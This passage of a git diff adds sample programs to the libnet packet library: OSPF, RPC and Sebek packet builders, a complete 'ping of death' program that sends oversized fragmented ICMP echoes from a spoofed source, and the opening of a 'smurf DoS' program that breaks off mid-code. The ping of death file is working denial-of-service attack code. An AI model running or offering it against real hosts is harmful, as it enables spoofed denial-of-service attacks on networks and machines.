+ fprintf(stderr, "Can't build OSPF header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_OSPF_H + LIBNET_OSPF_AUTH_H +
+ LIBNET_OSPF_LSA_H + LIBNET_OSPF_LS_NET_H, /* packet total length */
+ 0, /* TOS */
+ 101, /* IP iD */
+ IP_DF, /* IP frag */
+ 254, /* TTL */
+ IPPROTO_OSPF, /* protocol */
+ 0, /* checksum */
+ src, /* source IP */
+ dst, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte OSPF packet; check the wire.\n",
+c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *pname)
+{
+ printf("Usage: %s <source ip> <dest. ip>\n", pname);
+ exit(0);
+}
diff --git a/libnet/sample/ping_of_death.c b/libnet/sample/ping_of_death.c
new file mode 100644
index 0000000..b71cb05
--- /dev/null
+++ b/libnet/sample/ping_of_death.c
@@ -0,0 +1,171 @@
+/*
+ * $Id: ping_of_death.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * ICMP ping of death attack
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1999 - 2001 Dug Song <dugsong@monkey.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+#define FRAG_LEN 1472
+
+int
+main(int argc, char **argv)
+{
+ libnet_t *l;
+ libnet_ptag_t ip;
+ libnet_ptag_t icmp;
+ struct libnet_stats ls;
+ u_long fakesrc, target;
+ u_char *data;
+ int c, i, flags, offset, len;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 Ping of Death[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ if (argc != 2 || ((target = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE) == -1)))
+ {
+ fprintf(stderr, "Usage: %s <target>\n", argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /* get random src addr. */
+ libnet_seed_prand(l);
+ fakesrc = libnet_get_prand(LIBNET_PRu32);
+
+ data = malloc(FRAG_LEN);
+ for (i = 0 ; i < FRAG_LEN ; i++)
+ {
+ /* fill it with something */
+ data[i] = 0x3a;
+ }
+
+ ip = LIBNET_PTAG_INITIALIZER;
+ icmp = LIBNET_PTAG_INITIALIZER;
+
+ for (i = 0 ; i < 65536 ; i += (LIBNET_ICMPV4_ECHO_H + FRAG_LEN))
+ {
+ offset = i;
+ flags = 0;
+
+ if (offset < 65120)
+ {
+ flags = IP_MF;
+ len = FRAG_LEN;
+ }
+ else
+ {
+ /* for a total reconstructed length of 65538 bytes */
+ len = 410;
+ }
+
+ icmp = libnet_build_icmpv4_echo(
+ ICMP_ECHO, /* type */
+ 0, /* code */
+ 0, /* checksum */
+ 666, /* id */
+ 666, /* sequence */
+ data, /* payload */
+ len, /* payload size */
+ l, /* libnet handle */
+ icmp); /* libnet ptag */
+ if (icmp == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ /* no reason to do this */
+ libnet_toggle_checksum(l, icmp, 0);
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + len, /* length */
+ 0, /* TOS */
+ 666, /* IP ID */
+ flags | (offset >> 3), /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ fakesrc, /* source IP */
+ target, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ ip); /* libnet ptag */
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ }
+
+ /* tcpdump-style jonks. */
+ printf("%s > %s: (frag 666:%d@%d%s)\n", libnet_addr2name4(fakesrc,0),
+ argv[1], LIBNET_ICMPV4_ECHO_H + len, offset, flags ? "+" : "");
+ }
+
+ libnet_stats(l, &ls);
+ fprintf(stderr, "Packets sent: %lld\n"
+ "Packet errors: %lld\n"
+ "Bytes written: %lld\n",
+ ls.packets_sent, ls.packet_errors, ls.bytes_written);
+ libnet_destroy(l);
+ free(data);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ free(data);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/rpc_tcp.c b/libnet/sample/rpc_tcp.c
new file mode 100644
index 0000000..4a19b54
--- /dev/null
+++ b/libnet/sample/rpc_tcp.c
@@ -0,0 +1,214 @@
+/*
+ * $Id: rpc_tcp.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * rpc_tcp.c - Build an RPC TCP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: RPC TCP[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ }
+ }
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_rpc_call(
+ LIBNET_RPC_LAST_FRAG | LIBNET_RPC_CALL_TCP_H,
+ 0x10e70082,
+ LIBNET_PMAP_PROGRAM,
+ 2,
+ LIBNET_PMAP_PROC_DUMP,
+ 0,
+ 0,
+ NULL,
+ 0,
+ 0,
+ NULL,
+ payload,
+ payload_s,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build RPC header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_ACK, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + 44 + payload_s, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + 44 + payload_s,/* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte RPC TCP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/rpc_udp.c b/libnet/sample/rpc_udp.c
new file mode 100644
index 0000000..06f4b26
--- /dev/null
+++ b/libnet/sample/rpc_udp.c
@@ -0,0 +1,213 @@
+/*
+ * $Id: rpc_udp.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an RPC UDP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ libnet_ptag_t ip;
+ libnet_ptag_t udp;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: RPC + UDP + IP options[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ udp = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_rpc_call(
+ 0,
+ 0x10e70082,
+ 0x000186a0,
+ 2,
+ 4,
+ 0,
+ 0,
+ NULL,
+ 0,
+ 0,
+ NULL,
+ payload,
+ payload_s,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build RPC header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ udp = libnet_build_udp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ LIBNET_UDP_H + 40 +payload_s, /* packet length */
+ 0, /* checksum */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ udp); /* libnet id */
+ if (udp == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + 40 + payload_s + LIBNET_UDP_H, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ src_ip,
+ dst_ip,
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte RPC UDP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+/* EOF */
diff --git a/libnet/sample/sebek.c b/libnet/sample/sebek.c
new file mode 100644
index 0000000..de1674b
--- /dev/null
+++ b/libnet/sample/sebek.c
@@ -0,0 +1,299 @@
+/*
+ *
+ * libnet 1.1
+ * Build a Sebek packet
+ *
+ * Copyright (c) 2004 Frederic Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#if ((_WIN32) && !(__CYGWIN__))
+#include "../include/win32/config.h"
+#else
+#include "../include/config.h"
+#endif
+#endif
+#include "./libnet_test.h"
+
+void usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s [-D eth_dst] [-s source_ip] [-d destination_ip]"
+ "[-u UDP port] [-m magic] [-v version] [-t type] [-S sec] [-U usec] [-P PID] [-I UID] [-f FD] [-c cmd]"
+ " [-i iface] [-p payload]\n",
+ name);
+
+}
+
+
+int
+main(int argc, char *argv[])
+{
+ int c, port = 1101;
+ libnet_t *l;
+ char *device = NULL;
+ char *eth_dst = "11:11:11:11:11:11";
+ char *dst = "2.2.2.2", *src = "1.1.1.1";
+ u_long src_ip, dst_ip;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ libnet_ptag_t ptag = 0;
+ u_char *payload = 0;
+ char payload_flag = 0;
+ u_long payload_s = 0;
+ unsigned int magic = 0x0defaced,
+ counter = 0x12345678,
+ sec = 0, usec = 0,
+ pid = 1,
+ uid = 666,
+ fd = 2;
+ char *cmd = "./h4ckw0r1D";
+ unsigned int length = strlen(cmd)+1;
+ unsigned short version = SEBEK_PROTO_VERSION, type = SEBEK_TYPE_READ;
+
+ printf("libnet 1.1 packet shaping: Sebek[link]\n");
+
+
+ /*
+ * handle options
+ */
+ while ((c = getopt(argc, argv, "D:d:s:u:m:v:t:S:U:P:I:f:c:p:i:h")) != EOF)
+ {
+ switch (c)
+ {
+ case 'D':
+ eth_dst = optarg;
+ break;
+ case 'd':
+ dst = optarg;
+ break;
+
+ case 's':
+ src = optarg;
+ break;
+
+ case 'i':
+ device = optarg;
+ break;
+
+ case 'u':
+ port = atoi(optarg);
+ break;
+
+ case 'm':
+ magic = strtoul(optarg, NULL, 10);
+ break;
+
+ case 'v':
+ version = (unsigned short) strtoul(optarg, NULL, 10);
+ break;
+
+ case 't':
+ type = (unsigned short) strtoul(optarg, NULL, 10);
+ break;
+
+ case 'S':
+ sec = strtoul(optarg, NULL, 10);
+ break;
+
+ case 'U':
+ usec = strtoul(optarg, NULL, 10);
+ break;
+
+ case 'P':
+ pid = strtoul(optarg, NULL, 10);
+ break;
+
+ case 'I':
+ uid = strtoul(optarg, NULL, 10);
+ break;
+
+ case 'f':
+ fd = strtoul(optarg, NULL, 10);
+ break;
+
+ case 'c':
+ cmd = optarg;
+ length = strlen(cmd);
+ break;
+
+
+ case 'p':
+ payload_flag = 1;
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+
+ case 'h':
+ usage(argv[0]);
+ exit(EXIT_SUCCESS);
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK_ADV, /* injection type */
+ device, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ printf("Using device %s\n", l->device);
+
+ if (payload_flag)
+ {
+ memset(cmd, 0, sizeof(cmd));
+ memcpy(cmd, payload, (payload_s < 12 ? payload_s : 12));
+ length = payload_s;
+ }
+
+
+ if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", dst);
+ exit(EXIT_FAILURE);
+ }
+
+ if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", src);
+ exit(EXIT_FAILURE);
+ }
+
+ if (!payload)
+ {
+ payload = cmd;
+ payload_s = length;
+ }
+
+
+ ptag = libnet_build_sebek(
+ magic,
+ version,
+ type,
+ counter,
+ sec,
+ usec,
+ pid,
+ uid,
+ fd,
+ cmd,
+ /* LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_SEBEK_H +*/ length,
+ payload,
+ payload_s,
+ l,
+ 0
+ );
+
+ if (ptag == -1)
+ {
+ fprintf(stderr, "Can't build Sebek header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ptag = libnet_build_udp(
+ port, /* source port */
+ port, /* destination port */
+ LIBNET_UDP_H + LIBNET_SEBEK_H + payload_s, /* packet length */
+ 0, /* checksum */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (ptag == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ptag = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_SEBEK_H + payload_s,/* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (ptag == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ exit(EXIT_FAILURE);
+ }
+
+
+ eth_dst = libnet_hex_aton(eth_dst, &c);
+ ptag = libnet_autobuild_ethernet(
+ eth_dst, /* ethernet destination */
+ ETHERTYPE_IP, /* protocol type */
+ l); /* libnet handle */
+
+ free(eth_dst);
+ if (ptag == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+
+ /*
+ * write to the wire
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte Sebek packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+ bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+
+ return 0;
+}
diff --git a/libnet/sample/smurf.c b/libnet/sample/smurf.c
new file mode 100644
index 0000000..ccaebdc
--- /dev/null
+++ b/libnet/sample/smurf.c
@@ -0,0 +1,194 @@
+/*
+ * $Id: smurf.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build Smurf packets
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+void usage(char *);
+
+
+int
+main(int argc, char **argv)
+{
+ libnet_t *l = NULL;
+ u_long target_ip = 0, ampli_ip = 0;
+ u_long count = 10;
+ int i, c;
+ libnet_ptag_t t;
+
+ char *device = NULL;
+ char *pTarget = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ char label[LIBNET_LABEL_SIZE];
+
+ printf("libnet 1.1 smurf DoS: ICMP[RAW using context queue]\n");
+
+ while((c = getopt(argc, argv, "t:i:c:")) != EOF)
+ {
+ switch (c)
+ {
+ case 't':
+ pTarget = optarg;
+ break;
+ case 'i':
